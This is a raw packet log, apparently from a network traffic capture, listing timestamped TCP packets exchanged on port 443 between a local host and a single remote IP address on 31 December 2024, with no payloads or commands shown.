Dec 31, 2024 09:25:09.810430050 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.830648899 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.830681086 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.830739021 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.830751896 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.830771923 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.830787897 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.841603041 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.841623068 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.841691971 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.841727018 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.842274904 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.842295885 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.842328072 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.842335939 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.842354059 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.842384100 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.854068041 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.854104996 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.854161978 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.854182005 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.854201078 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.854222059 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.876010895 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.876028061 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.876131058 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.876140118 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.876504898 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.876651049 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.876669884 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.876739025 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.876745939 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.877454042 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.877474070 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.877526999 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.877535105 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.877563000 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.877600908 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.897134066 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.897151947 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.897228956 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.897241116 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.899485111 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.917522907 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.917548895 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.917618990 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.917628050 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.917679071 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.928478003 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.928495884 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.928563118 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.928570032 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.928742886 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.929182053 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.929198980 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.929241896 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.929248095 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.929275990 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.929297924 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.940943003 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.940963030 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.941040039 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.941047907 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.942931890 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.963124990 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.963144064 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.963232040 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.963239908 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.963483095 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.963504076 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.963541985 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.963547945 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.963572025 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.963603973 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.983469009 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.983513117 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.983575106 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.983582020 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.983606100 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.983623981 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.984170914 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.984186888 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.984246016 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.984251976 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.984905005 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.004376888 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.004395008 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.004488945 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.004496098 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.004757881 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.015600920 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.015636921 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.015681028 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.015686989 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.015724897 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.015747070 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.016150951 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.016182899 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.016211987 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.016216993 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.016252041 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.016275883 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.028014898 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.028033972 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.028095007 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.028106928 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.028124094 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.028203964 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.049792051 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.049812078 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.049875021 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.049886942 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.050410986 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.050431013 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.050498962 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.050507069 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.050519943 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.050549984 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.073873043 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.073890924 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.073966980 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.073980093 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.074044943 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.074552059 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.074570894 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.074709892 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.074719906 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.074764967 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.091263056 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.091276884 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.091377974 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.091392994 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.091587067 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.102122068 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.102135897 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.102221012 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.102241039 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.102835894 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.102880955 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.102941036 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.102948904 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.102973938 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.102998972 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.114696026 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.114711046 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.114790916 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.114800930 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.116447926 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.136686087 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.136710882 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.136766911 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.136775970 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.136881113 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.137490034 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.137506008 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.137583971 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.137590885 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.140120983 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.160770893 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.160794020 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.160875082 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.160885096 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.161470890 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.161492109 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.161570072 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.161581993 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.161592960 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.164702892 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.180320024 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.180336952 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.180479050 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.180504084 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.182476997 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.189280987 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.189331055 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.189373970 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.189383984 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.189393997 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.189481974 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.189594984 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.189613104 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.189709902 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.189717054 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.189752102 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.189771891 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.201765060 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.201781034 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.201884985 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.201893091 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.202462912 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.210535049 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.223573923 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.223589897 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.223678112 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.223685980 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.224414110 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.224451065 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.224482059 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.224488020 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.224510908 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.224534988 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.247740030 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.247761965 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.247843981 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.247858047 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.248368025 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.248384953 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.248430014 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.248440027 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.248464108 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.248488903 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.267213106 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.267235041 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.267282963 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.267291069 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.267318964 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.267323971 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.275774956 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.275790930 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.275842905 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.275851011 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.275891066 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.276515961 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.276530027 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.276582956 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.276590109 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.276624918 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.288777113 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.288795948 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.288886070 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.288892984 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.289028883 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.310434103 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.310471058 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.310538054 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.310553074 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.310590029 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.310599089 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.311176062 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.311191082 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.311244965 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.311250925 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.311288118 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.335360050 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.335380077 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.335479021 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.335489035 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.335542917 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.335722923 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.335738897 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.335788012 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.335794926 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.335834980 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.354096889 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.354115009 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.354202986 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.354232073 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.354278088 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.362684965 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.362703085 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.362778902 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.362787962 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.362899065 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.363584042 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.363600016 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.363651037 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.363660097 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.363697052 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.375623941 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.375644922 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.375715971 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.375747919 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.375792027 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.397264004 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.397279024 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.397363901 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.397375107 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.397418022 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.398056984 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.398077011 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.398121119 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.398128986 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.398164988 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.398186922 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.421921015 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.421950102 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.422013998 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.422025919 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.422050953 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.422075033 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.422600985 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.422616005 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.422702074 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.422708988 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.422748089 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.449368000 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.449383020 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.449477911 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.449491978 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.449537992 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.450068951 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.450093031 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.450122118 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.450128078 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.450154066 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.450176954 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.450736046 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.450751066 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.450790882 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.450798035 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.450819969 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.450839043 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.462512970 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.462538004 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.462601900 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.462610006 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.462646008 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.462658882 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.484226942 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.484244108 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.484469891 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.484486103 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.484658003 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.484918118 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.484932899 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.485016108 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.485024929 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.485033989 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.485070944 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.508595943 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.508611917 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.508805990 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.508824110 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.508877039 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.509999037 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.510011911 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.510082960 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.510118961 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:10.510134935 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:10.510159969 CET	49707	443	192.168.2.5	188.114.97.3
